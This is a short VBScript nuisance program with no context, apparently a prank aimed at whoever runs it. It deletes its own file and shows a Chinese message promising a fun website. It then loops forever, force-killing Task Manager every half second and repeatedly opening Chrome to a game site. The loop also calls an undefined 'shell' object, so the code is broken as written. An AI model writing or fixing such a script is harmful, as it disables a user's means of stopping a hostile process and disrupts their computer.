dim fso,f
set fso = createobject("scripting.filesystemobject")
f = fso.deletefile(wscript.scriptname)
msgbox "告诉你一个好玩的网站"
set ws=createobject("wscript.shell")
ws.run"chrome.exe http://www.4399.com"
do
shell.Run "cmd /c taskkill /f /im taskmgr.exe"
wscript.sleep 500
ws.run"chrome.exe http://www.4399.com"
loop